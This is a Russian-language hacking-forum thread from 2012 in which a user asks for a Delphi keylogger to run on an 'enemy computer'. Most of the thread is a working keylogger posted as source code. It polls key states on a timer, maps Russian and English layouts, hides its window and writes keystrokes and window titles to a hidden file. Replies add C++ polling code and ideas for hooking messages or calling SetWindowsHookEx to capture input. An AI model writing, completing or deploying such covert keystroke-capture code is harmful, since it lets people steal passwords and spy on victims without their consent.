Мне понадобился кейлогер именно на delphi.
На паскале писал последний раз лет 6 назад. Расскажите мне как ныне принято писать.
Слышал что хуки уже никто не используют и настоящие тру пишут на api с таймером.
Что требуется: русские\английские буквы, символы, регистр, название окна приложения, работа на Win 7 и Win XP
Из сред разработки есть DElphi EX
БЫстро пробежавшись по поиску нашел пример от NEO
Code
program project1;
uses
Windows, Winsock,SysUtils, Messages;
Var
TID:Integer;
loggern:pchar;
wintext:array[0..144]of char;
_temp:^cardinal;
wrote:longWord;
buffer:array[0..40000] of char;
FH:THandle;
acWindow:HWND;
path:string;
function InStr(I: Integer): string;
var
S: string;
begin
Str(I, S);
InStr := S;
end;
function GetWinDir:string;
var
_buff:array[0..255] of Char;
begin
GetWindowsDirectory(_buff, sizeOf(_buff));
Result:=_buff;
end;
function _Shift:boolean;
begin
if GetKeyState($10)<0 then result:=true
else result:=false;
end;
function _Language:boolean;
begin
if GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, nil)) = 67699721 then result:=true
else result:=false;
end;
//***************************CapsLock*******************************************
function _Caps:boolean;
begin
if ((GetKeyState(20))=1) then result:=true
else result:=false;
end;
//*********Concat for pchar - is the same as for strings************************
function Concat(str1,str2:pchar):pchar;
begin
lstrcpy(buffer,str1);
lstrcat(buffer,str2);
result:=buffer;
end;
//**********************Dinamic object - timer1*********************************
procedure GetKey(TimerID,Msg : UINT; dwUser,dw1,dw2 : DWord); pascal;
var
k : byte;
begin
for k:=8 To 246 do
begin
if GetAsyncKeyState(k)=-32767 then
begin
case k of
8 : loggern :=Concat(loggern,'[Back Space]');
9 : loggern :=Concat(loggern,'[Tab]');
13 : loggern :=Concat(loggern,'[Enter]');
17 : loggern :=Concat(loggern,'[Ctrl]');
27 : loggern :=Concat(loggern,'[Esc]');
32 : loggern :=Concat(loggern,'[Space]');
48 : if _Shift then loggern :=Concat(loggern,')')
else loggern :=Concat(loggern,'0');
49 : if _Shift then loggern :=Concat(loggern,'!')
else loggern :=Concat(loggern,'1');
50 : if _Language then
if _Shift then loggern :=Concat(loggern,'@')
else loggern :=Concat(loggern,'2')
else
if _Shift then loggern :=Concat(loggern,'"')
else loggern :=Concat(loggern,'2');
51 : if _Language then
if _Shift then loggern :=Concat(loggern,'#')
else loggern :=Concat(loggern,'3')
else
if _Shift then loggern :=Concat(loggern,'№')
else loggern :=Concat(loggern,'3');
52 : if _Language then
if _Shift then loggern :=Concat(loggern,'$')
else loggern :=Concat(loggern,'4')
else
if _Shift then loggern :=Concat(loggern,';')
else loggern :=Concat(loggern,'4');
53 : if _Shift then loggern :=Concat(loggern,'%')
else loggern :=Concat(loggern,'5');
54 : if _Language then
if _Shift then loggern :=Concat(loggern,'^')
else loggern :=Concat(loggern,'6')
else
if _Shift then loggern :=Concat(loggern,':')
else loggern :=Concat(loggern,'6');
55 : if _Language then
if _Shift then loggern :=Concat(loggern,'&')
else loggern :=Concat(loggern,'7')
else
if _Shift then loggern :=Concat(loggern,'?')
else loggern :=Concat(loggern,'7');
56 : if _Shift then loggern :=Concat(loggern,'*')
else loggern :=Concat(loggern,'8');
57 : if _Shift then loggern :=Concat(loggern,'(')
else loggern :=Concat(loggern,'9');
60 : if _Shift then loggern :=Concat(loggern,'>')
else loggern :=Concat(loggern, '<');
65 :if _Language then
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'a')
else
loggern :=Concat(loggern,'A')
else
if _Shift then
loggern :=Concat(loggern,'A')
else
loggern :=Concat(loggern,'a')
else
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'ф')
else
loggern :=Concat(loggern,'Ф')
else
if _Shift then
loggern :=Concat(loggern,'Ф')
else
loggern :=Concat(loggern,'ф');
66:if _Language then
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'b')
else
loggern :=Concat(loggern,'B')
else
if _Shift then
loggern :=Concat(loggern,'B')
else
loggern :=Concat(loggern,'b')
else
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'и')
else
loggern :=Concat(loggern,'И')
else
if _Shift then
loggern :=Concat(loggern,'И')
else
loggern :=Concat(loggern,'и');
67:
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'c')
else
loggern :=Concat(loggern,'C')
else
if _Shift then
loggern :=Concat(loggern,'C')
else
loggern :=Concat(loggern,'c');
68:if _Language then
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'd')
else
loggern :=Concat(loggern,'D')
else
if _Shift then
loggern :=Concat(loggern,'D')
else
loggern :=Concat(loggern,'d')
else
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'в')
else
loggern :=Concat(loggern,'В')
else
if _Shift then
loggern :=Concat(loggern,'В')
else
loggern :=Concat(loggern,'в');
69:if _Language then
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'e')
else
loggern :=Concat(loggern,'E')
else
if _Shift then
loggern :=Concat(loggern,'E')
else
loggern :=Concat(loggern,'e')
else
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'у')
else
loggern :=Concat(loggern,'У')
else
if _Shift then
loggern :=Concat(loggern,'У')
else
loggern :=Concat(loggern,'у');
70:if _Language then
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'f')
else
loggern :=Concat(loggern,'F')
else
if _Shift then
loggern :=Concat(loggern,'F')
else
loggern :=Concat(loggern,'f')
else
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'а')
else
loggern :=Concat(loggern,'А')
else
if _Shift then
loggern :=Concat(loggern,'А')
else
loggern :=Concat(loggern,'а');
71:if _Language then
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'g')
else
loggern :=Concat(loggern,'G')
else
if _Shift then
loggern :=Concat(loggern,'G')
else
loggern :=Concat(loggern,'g')
else
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'п')
else
loggern :=Concat(loggern,'П')
else
if _Shift then
loggern :=Concat(loggern,'П')
else
loggern :=Concat(loggern,'п');
72:if _Language then
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'h')
else
loggern :=Concat(loggern,'H')
else
if _Shift then
loggern :=Concat(loggern,'H')
else
loggern :=Concat(loggern,'h')
else
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'р')
else
loggern :=Concat(loggern,'Р')
else
if _Shift then
loggern :=Concat(loggern,'Р')
else
loggern :=Concat(loggern,'р');
73:if _Language then
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'i')
else
loggern :=Concat(loggern,'I')
else
if _Shift then
loggern :=Concat(loggern,'I')
else
loggern :=Concat(loggern,'i')
else
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'ш')
else
loggern :=Concat(loggern,'Ш')
else
if _Shift then
loggern :=Concat(loggern,'Ш')
else
loggern :=Concat(loggern,'ш');
74:if _Language then
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'j')
else
loggern :=Concat(loggern,'J')
else
if _Shift then
loggern :=Concat(loggern,'J')
else
loggern :=Concat(loggern,'j')
else
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'о')
else
loggern :=Concat(loggern,'О')
else
if _Shift then
loggern :=Concat(loggern,'О')
else
loggern :=Concat(loggern,'о');
75:if _Language then
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'k')
else
loggern :=Concat(loggern,'K')
else
if _Shift then
loggern :=Concat(loggern,'K')
else
loggern :=Concat(loggern,'k')
else
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'л')
else
loggern :=Concat(loggern,'Л')
else
if _Shift then
loggern :=Concat(loggern,'Л')
else
loggern :=Concat(loggern,'л');
76:if _Language then
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'l')
else
loggern :=Concat(loggern,'L')
else
if _Shift then
loggern :=Concat(loggern,'L')
else
loggern :=Concat(loggern,'l')
else
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'д')
else
loggern :=Concat(loggern,'Д')
else
if _Shift then
loggern :=Concat(loggern,'Д')
else
loggern :=Concat(loggern,'д');
77:if _Language then
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'm')
else
loggern :=Concat(loggern,'M')
else
if _Shift then
loggern :=Concat(loggern,'M')
else
loggern :=Concat(loggern,'m')
else
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'ь')
else
loggern :=Concat(loggern,'Ь')
else
if _Shift then
loggern :=Concat(loggern,'Ь')
else
loggern :=Concat(loggern,'ь');
78:if _Language then
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'n')
else
loggern :=Concat(loggern,'N')
else
if _Shift then
loggern :=Concat(loggern,'N')
else
loggern :=Concat(loggern,'n')
else
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'т')
else
loggern :=Concat(loggern,'Т')
else
if _Shift then
loggern :=Concat(loggern,'Т')
else
loggern :=Concat(loggern,'т');
79:if _Language then
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'o')
else
loggern :=Concat(loggern,'O')
else
if _Shift then
loggern :=Concat(loggern,'O')
else
loggern :=Concat(loggern,'o')
else
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'щ')
else
loggern :=Concat(loggern,'Щ')
else
if _Shift then
loggern :=Concat(loggern,'Щ')
else
loggern :=Concat(loggern,'щ');
80:if _Language then
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'p')
else
loggern :=Concat(loggern,'P')
else
if _Shift then
loggern :=Concat(loggern,'P')
else
loggern :=Concat(loggern,'p')
else
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'з')
else
loggern :=Concat(loggern,'З')
else
if _Shift then
loggern :=Concat(loggern,'З')
else
loggern :=Concat(loggern,'з');
81:if _Language then
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'q')
else
loggern :=Concat(loggern,'Q')
else
if _Shift then
loggern :=Concat(loggern,'Q')
else
loggern :=Concat(loggern,'q')
else
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'й')
else
loggern :=Concat(loggern,'Й')
else
if _Shift then
loggern :=Concat(loggern,'Й')
else
loggern :=Concat(loggern,'й');
82:if _Language then
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'r')
else
loggern :=Concat(loggern,'R')
else
if _Shift then
loggern :=Concat(loggern,'R')
else
loggern :=Concat(loggern,'r')
else
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'к')
else
loggern :=Concat(loggern,'К')
else
if _Shift then
loggern :=Concat(loggern,'К')
else
loggern :=Concat(loggern,'к');
83:if _Language then
if _Caps then
if _Shift then
loggern :=Concat(loggern, 's')
else
loggern :=Concat(loggern,'S')
else
if _Shift then
loggern :=Concat(loggern,'S')
else
loggern :=Concat(loggern,'s')
else
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'ы')
else
loggern :=Concat(loggern,'Ы')
else
if _Shift then
loggern :=Concat(loggern,'Ы')
else
loggern :=Concat(loggern,'ы');
84:if _Language then
if _Caps then
if _Shift then
loggern :=Concat(loggern, 't')
else
loggern :=Concat(loggern,'T')
else
if _Shift then
loggern :=Concat(loggern,'T')
else
loggern :=Concat(loggern,'t')
else
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'е')
else
loggern :=Concat(loggern,'Е')
else
if _Shift then
loggern :=Concat(loggern,'Е')
else
loggern :=Concat(loggern,'е');
85:if _Language then
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'u')
else
loggern :=Concat(loggern,'U')
else
if _Shift then
loggern :=Concat(loggern,'U')
else
loggern :=Concat(loggern,'u')
else
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'г')
else
loggern :=Concat(loggern,'Г')
else
if _Shift then
loggern :=Concat(loggern,'Г')
else
loggern :=Concat(loggern,'г');
86:if _Language then
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'v')
else
loggern :=Concat(loggern,'V')
else
if _Shift then
loggern :=Concat(loggern,'V')
else
loggern :=Concat(loggern,'v')
else
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'м')
else
loggern :=Concat(loggern,'М')
else
if _Shift then
loggern :=Concat(loggern,'М')
else
loggern :=Concat(loggern,'м');
87:if _Language then
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'w')
else
loggern :=Concat(loggern,'W')
else
if _Shift then
loggern :=Concat(loggern,'W')
else
loggern :=Concat(loggern,'w')
else
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'ц')
else
loggern :=Concat(loggern,'Ц')
else
if _Shift then
loggern :=Concat(loggern,'Ц')
else
loggern :=Concat(loggern,'ц');
88:if _Language then
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'x')
else
loggern :=Concat(loggern,'X')
else
if _Shift then
loggern :=Concat(loggern,'X')
else
loggern :=Concat(loggern,'x')
else
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'ч')
else
loggern :=Concat(loggern,'Ч')
else
if _Shift then
loggern :=Concat(loggern,'Ч')
else
loggern :=Concat(loggern,'ч');
89:if _Language then
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'y')
else
loggern :=Concat(loggern,'Y')
else
if _Shift then
loggern :=Concat(loggern,'Y')
else
loggern :=Concat(loggern,'y')
else
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'н')
else
loggern :=Concat(loggern,'Н')
else
if _Shift then
loggern :=Concat(loggern,'Н')
else
loggern :=Concat(loggern,'н');
90:if _Language then
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'z')
else
loggern :=Concat(loggern,'Z')
else
if _Shift then
loggern :=Concat(loggern,'Z')
else
loggern :=Concat(loggern,'z')
else
if _Caps then
if _Shift then
loggern :=Concat(loggern, 'я')
else
loggern :=Concat(loggern,'Я')
else
if _Shift then
loggern :=Concat(loggern,'Я')
else
loggern :=Concat(loggern,'я');
96..105 : loggern:=Concat(loggern,Pchar(InStr(k-96))); //Numpad 0..9
106:loggern :=Concat(loggern,'*');
107:loggern :=Concat(loggern,'&');
109:loggern :=Concat(loggern,'-');
110:loggern :=Concat(loggern,'.');
111:loggern :=Concat(loggern,'/');
144 : loggern :=Concat(loggern,'[Num Lock]');
112..123:loggern:=Concat(loggern,Pchar('[F'+InStr(k - 111)+']'));
186 : if _Language then
if _Shift then loggern :=Concat(loggern,':')
else loggern :=Concat(loggern,';')
else
if _Caps then
if _Shift then loggern :=Concat(loggern,'ж')
else loggern :=Concat(loggern, 'Ж')
else
if _Shift then loggern :=Concat(loggern,'Ж')
else loggern :=Concat(loggern, 'ж');
187 : if _Shift then loggern :=Concat(loggern,'+')
else loggern :=Concat(loggern,'=');
188 : if _Language then
if _Shift then loggern :=Concat(loggern,'<')
else loggern :=Concat(loggern,',')
else
if _Caps then
if _Shift then loggern :=Concat(loggern,'б')
else loggern :=Concat(loggern, 'Б')
else
if _Shift then loggern :=Concat(loggern,'Б')
else loggern :=Concat(loggern, 'б');
189 : if _Shift then loggern :=Concat(loggern,'_')
else loggern :=Concat(loggern,'-');
190 : if _Language then
if _Shift then loggern :=Concat(loggern,'>')
else loggern :=Concat(loggern,'.')
else
if _Caps then
if _Shift then loggern :=Concat(loggern,'ю')
else loggern :=Concat(loggern, 'Ю')
else
if _Shift then loggern :=Concat(loggern,'Ю')
else loggern :=Concat(loggern, 'ю');
191 : if _Language then
if _Shift then loggern :=Concat(loggern,'?')
else loggern :=Concat(loggern,'/')
else
if _Shift then loggern :=Concat(loggern,',')
else loggern :=Concat(loggern,'.');
192 : if _Language then
if _Shift then loggern :=Concat(loggern,'~')
else loggern :=Concat(loggern,'`')
else
if _Caps then
if _Shift then loggern :=Concat(loggern,'ё')
else loggern :=Concat(loggern, 'Ё')
else
if _Shift then loggern :=Concat(loggern,'Ё')
else loggern :=Concat(loggern, 'ё');
219 : if _Language then
if _Shift then loggern :=Concat(loggern,'{')
else loggern :=Concat(loggern,'[')
else
if _Caps then
if _Shift then loggern :=Concat(loggern,'x')
else loggern :=Concat(loggern,'X')
else
if _Shift then loggern :=Concat(loggern,'Х')
else loggern :=Concat(loggern,'х');
220 : if _Language then
if _Shift then loggern :=Concat(loggern,'|')
else loggern :=Concat(loggern,'\')
else
if _Shift then loggern :=Concat(loggern,'/')
else loggern :=Concat(loggern,'\');
221:if _Language then
if _Shift then loggern :=Concat(loggern,'}')
else loggern :=Concat(loggern, ']')
else
if _Caps then
if _Shift then loggern :=Concat(loggern,'ъ')
else loggern :=Concat(loggern, 'Ъ')
else
if _Shift then loggern :=Concat(loggern,'Ъ')
else loggern :=Concat(loggern, 'ъ');
222:if _Language then
if _Shift then loggern :=Concat(loggern, '"')
else loggern :=Concat(loggern, '''')
else
if _Caps then
if _Shift then loggern :=Concat(loggern,'э')
else loggern :=Concat(loggern, 'Э')
else
if _Shift then loggern :=Concat(loggern,'Э')
else loggern :=Concat(loggern, 'э');
end;
end;
end;
end;
//**********************Print logo**********************************************
procedure LogoInFile;
begin
loggern:=Concat('=================================================',#13#10);
loggern:=Concat(loggern,' Log file from Keylogger');
loggern:=Concat(loggern,#13#10);
loggern:=Concat(loggern,'=================================================');
loggern:=ConCat(loggern,#13#10);
WriteFile(FH,loggern^,155,wrote,nil);
loggern:='';
end;
//*********This procedure is make all directive we used*************************
procedure MakeStartDirective;
var
_tw:pchar;
time:_SYSTEMTIME;
lptime:pchar;
begin
GetSystemTime(time);
lptime:=Pchar('['+InStr(time.wDay)+'.'+InStr(time.wMonth)+'.'+
InStr(time.wYear)+' - '+InStr(time.wHour)+':'+InStr(time.wMinute)+
':'+InStr(time.wSecond)+'] ');
acWindow:=GetForegroundWindow;
GetWindowText(acWindow,wintext,sizeof(wintext));
_tw:=wintext;
loggern:=Concat(#13#10,'[$start]');
loggern:=Concat(#13#10,'[$start]');
loggern:=Concat(loggern,#13#10);
loggern:=Concat(loggern,lptime);
loggern:=Concat(loggern,_tw);
loggern:=Concat(loggern,#13#10);
loggern:=Concat(loggern,'[$keys]');
loggern:=Concat(loggern,#13#10);
SetFilePointer(FH,GetFileSize(FH,_temp),nil,0);
WriteFile(FH,loggern^,lstrlen(loggern),wrote,nil);
loggern:='';
end;
//**********************Dinamic object - timer2*********************************
procedure SaveToLog(TimerID,Msg : UINT; dwUser,dw1,dw2 : DWord); pascal;
begin
if lstrlen(loggern)>0 then
begin
SetFilePointer(FH,GetFileSize(FH,_temp),nil,0);
WriteFile(FH,loggern^,lstrlen(loggern),wrote,nil);
loggern:='';
buffer:='';
MakeStartDirective;
end;
end;
//*******************procedure which activate timers****************************
procedure StartTimer1(interval:cardinal);
begin
TID := timeSetEvent(interval,0,@GetKey,0,1);
end;
procedure StartTimer2(interval:cardinal);
begin
TID := timeSetEvent(interval,0,@SaveToLog,0,1);
end;
//**************************************************************************
Procedure Start;
begin
path:='syslog.txt';
FH:=CreateFile(Pchar(path),$40000000,$00000001,nil,4,0,0);
SetFileAttributes(Pchar(path),$00000001);
LogoInFile;
MakeStartDirective;
loggern:='';
starttimer1(3); //Получить пальчики
starttimer2(5000); //сохронять в лог
While true do
sleep(70000);
endthread(0);
end;
function WindowProc(wnd: HWND; msg: integer; wparam: WPARAM; lparam: LPARAM):LRESULT;STDCALL;
begin
case msg of
WM_Destroy:
begin
PostQuitMessage(0);
Result:=0;
Exit;
end;
else
Result:=DefWindowProc(wnd,msg,wparam,lparam);
end;
end;
Var
C,S:longword;
window: TWndClassEx;
Mwindow: HWND;
Mmsg: MSG;
BEGIN
C:=beginthread(nil,0,@Start,nil,0,S);
window.cbSize :=sizeof (window);
window.style :=CS_HREDRAW or CS_VREDRAW;
window.lpfnWndProc:=@WindowProc;
window.cbClsExtra :=0;
window.cbWndExtra :=0;
window.hInstance :=HInstance;
window.hIcon :=LoadIcon (0,IDI_APPLICATION);
window.hCursor :=LoadCursor (0,IDC_ARROW);
window.hbrBackground:=Color_BtnFace+12;
window.lpszMenuName :=nil;
window.lpszClassName:='Main_Window';
RegisterClassEx (window);
// Создание окна на основе созданного класса
Mwindow:=CreateWindowEx(0,'Main_Window','',WS_OVERLAPPEDWINDOW,100,100,300,300,0,0,Hinstance,nil);
// Показать созданное окно
SHOWWINDOW(Mwindow,SW_Hide);
while GetMessage(Mmsg,0,0,0) do
begin
TranslateMessage(Mmsg);
DispatchMessage(Mmsg);
end;
end.
Ну почему же сращу извращение? Neo был выкладывал исходник подобного кейлогера, но он писал логи нормально.
Только вот есть один небольшой недостаток такого рода кейлогеров. Попади ему на компьютер чуть послабее вашего и он начнет перехватывать клавиши через одну. Тоесть смысл от такого кейлогера потом никакой. Ну не успевает процессор переработать в долю секунды столько информации... Интересней всего подход - это через написание драйвера, но пока этим не занимался.
перебирать каждый скан код символа в куче ифов, при этом нужно еще учитывать раскладку клавиатуры текущего приложения, нажатый shift и caps , это извращенно
P.S а если например нужно сделать поддержку не только английской и русской раскладки, так это вообще километры кода, если идти таким извращенным подходом
Дата: Воскресенье, 02.12.2012, 22:50 | Сообщение # 6
Был не раз
Зарегистрирован: 30.11.2012
Группа: Пользователи
Сообщений: 6
Статус: Offline
Quote (C@T)
перебирать каждый скан код символа в куче ифов, при этом нужно еще учитывать раскладку клавиатуры текущего приложения, нажатый shift и caps , это извращенно
ДА знаю я что это ппц как нерационально! Может у вас есть какой-нибудь другой(рабочий) кейлогер?
Дата: Понедельник, 03.12.2012, 00:01 | Сообщение # 7
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 263
Статус: Offline
C@T, а почему собсно извращение? многие тру-коды на ифах пашут и чотко даже пашут)))
Можно засунуть код в один иф,а остальное по отдельным модулям или функам (но это я по аналогии с С++ говорю)
int Keys[256] = {0};
for (int i = 3; i < 255; i++){
Keys[i] = GetKeyState(i);
}
while (1)
{
for (int i = 3; i < 255; i++)
{
int State = GetKeyState(i);
if(Keys[i] != State){
OnKeyPress(i, State);
}
Keys[i] = State;
}
Sleep(10);
}
}
ну и запускаю поток void KeyLog() , накопившиеся логи считываются из KeyBuf в критической секции и обнуляется
скан код клавиши я считываю винАПИ функцией ToAsciiEx , у которой есть даже Unicode аналог, которым можно собирать логи хоть на китайском, правда в данном коде можно поправить цикл с GetKeyState на один вызов GetKeyboardState и получить сразу данные по всем нажатым клавишам на клавиатуре а потом уже пройтись по тем которые нажаты
P.S простите за с++, но думаю WinAPI вызовы будут понятны
P.P.S выложил бы б весь исходник бота, но он на с++, а здесь к сожалению мало кто его знает
Дата: Понедельник, 03.12.2012, 21:39 | Сообщение # 15
Модератор
Зарегистрирован: 04.05.2010
Группа: Модераторы
Сообщений: 317
Статус: Offline
Don_Diego, Короче,когда происходит какое-то событие,например нажали на кнопку на клавиатуре,то генерируется сообщение Tmsg.
Сообщение - это структура данных,имеющая в себе: lparama,Wparam,координаты мыши даже и данные.(Нужно уточнить).SendMessage - функция,которая отсылает эту структуру в обработчик,например,оконной процедуре.Если перехватить эту функцию,то можно в чистом виде "слизывать" данные.
Вот это чисто теоретически)))Нужно попробовать на практике.
Дата: Понедельник, 03.12.2012, 22:04 | Сообщение # 16
Продвинутый
Зарегистрирован: 16.04.2012
Группа: Пользователи
Сообщений: 253
Статус: Offline
Neo, про функцию SendMessage я конечно знаю, но почему-то всегда думал ею можно только имитировать нажатия клавиш. Я конечно структуру драйвера клавиатуры не знаю, поэтому надеюсь ты знаешь что делаешь
Я просмотрел весь поиск перед тем как создать тему.
К сожалению, все ссылки на APIшные кейлогеры биты, а на VCL у меня и так есть, только VCL-кейлогер на вражеском компьютере как-то не комильфо
Если вам не сложно, можете запостить здесь или в личку на APi-кейлогер, на свой например, если не жалко.
проблемма лишь в том что SendMessage прийдется хукать во всех процессах, а это трудоемко и багануто, вообще можно не извращатся и вызвать SetWindowsHookEx , эта функция вообще и предназначается в винде для того что бы делать перехват сообщений окон, а не для того что бы дллки инжектить, как сейчас все ее обычно используют
function KeybordSysMsgProc(code:integer;Wparam:word;Lparam:longint):longint;stdcall;
begin
....
end;